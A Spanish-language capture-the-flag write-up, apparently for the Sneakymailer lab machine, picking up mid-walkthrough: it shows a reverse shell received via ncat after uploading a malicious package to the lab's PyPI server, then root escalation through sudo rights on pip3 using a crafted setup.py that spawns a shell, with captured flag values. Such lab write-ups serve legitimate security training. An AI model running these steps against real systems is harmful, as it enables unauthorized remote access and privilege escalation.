Pero vemos que nos hace una conexión a nuestra propia maquina, esto es por que primero se ejecuta la conexión locamente

Lo que debemos hacer es volver a ponernos en escucha con ncat y salir de nuestra conexión local con un exit esto hara que se ejecute la conexión esta vez de la maquina victima.

❯ ncat -nlvp 443
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::443
Ncat: Listening on 0.0.0.0:443
Ncat: Connection from 10.10.16.2.
Ncat: Connection from 10.10.16.2:37168.
# whoami
root
# pwd
/home/fmiracle/Machines/Sneakymailer/content/create
# exit
running sdist
running egg_info
writing linode_example.egg-info/PKG-INFO
writing dependency_links to linode_example.egg-info/dependency_links.txt
writing top-level names to linode_example.egg-info/top_level.txt
reading manifest file 'linode_example.egg-info/SOURCES.txt'
writing manifest file 'linode_example.egg-info/SOURCES.txt'
warning: sdist: standard file not found: should have one of README, README.rst, README.txt, README.md

running check
creating linode_example-0.1
creating linode_example-0.1/linode_example.egg-info
creating linode_example-0.1/package
copying files to linode_example-0.1...
copying setup.cfg -> linode_example-0.1
copying setup.py -> linode_example-0.1
copying linode_example.egg-info/PKG-INFO -> linode_example-0.1/linode_example.egg-info
copying linode_example.egg-info/SOURCES.txt -> linode_example-0.1/linode_example.egg-info
copying linode_example.egg-info/dependency_links.txt -> linode_example-0.1/linode_example.egg-info
copying linode_example.egg-info/top_level.txt -> linode_example-0.1/linode_example.egg-info
copying package/__init__.py -> linode_example-0.1/package
Writing linode_example-0.1/setup.cfg
Creating tar archive
removing 'linode_example-0.1' (and everything under it)
running upload
Submitting dist/linode_example-0.1.tar.gz to http://pypi.sneakycorp.htb:8080/
Server response (200): OK

Recibimos la conexión desde la maquina victima como el usuario low

❯ ncat -nlvp 443
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::443
Ncat: Listening on 0.0.0.0:443
Ncat: Connection from 10.10.10.197.
Ncat: Connection from 10.10.10.197:45570.
$ whoami
low
$ hostname -I
10.10.10.197 dead:beef::250:56ff:feb9:6b16 

Realizamos nuevamente un tratamiento de la tty como ya hicimos anteriormente, nos dirigimos al directorio personal del usuario y podemos visualizar la primera flag user.txt

low@sneakymailer:/$ cd /home
low@sneakymailer:/home$ ls
low  vmail
low@sneakymailer:/home$ cd low/
low@sneakymailer:~$ cat user.txt 
4a39c61b14f3e1c7c83014390f90942e
low@sneakymailer:~$ 

Escalada de privilegios #

Ejecutamos el comando sudo -l para ver si tenemos privilegios a nivel de sudoers y vemos que tenemos uno asociado al comando pip3 el cual podemos ejecutar como root de forma temporal sin requerir contraseña.

low@sneakymailer:~$ sudo -l
sudo: unable to resolve host sneakymailer: Temporary failure in name resolution
Matching Defaults entries for low on sneakymailer:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User low may run the following commands on sneakymailer:
    (root) NOPASSWD: /usr/bin/pip3

Lo siguiente sera dirigirnos a nuestra web de confianza

ahi podemos ver que si tenemos el privilegio de sudo en pip3, debemos ejecutar los siguentes comandos y nos convertiremos en el usuario root

low@sneakymailer:~$ TF=$(mktemp -d)
low@sneakymailer:~$ echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py
low@sneakymailer:~$ sudo pip install $TF
sudo: unable to resolve host sneakymailer: Temporary failure in name resolution
[sudo] password for low: 
low@sneakymailer:~$ TF=$(mktemp -d)
low@sneakymailer:~$ echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py
low@sneakymailer:~$ sudo pip3 install $TF
sudo: unable to resolve host sneakymailer: Temporary failure in name resolution
Processing /tmp/tmp.25RDYk7IwK
# whoami
root

Finalmente podemos dirigirnos al directorio de root y visualizar la segunda flag root.txt :)

# cd /root
# cat root.txt
25ae2132a2ff299928b234e186ad53ec

Comments

comments powered by Disqus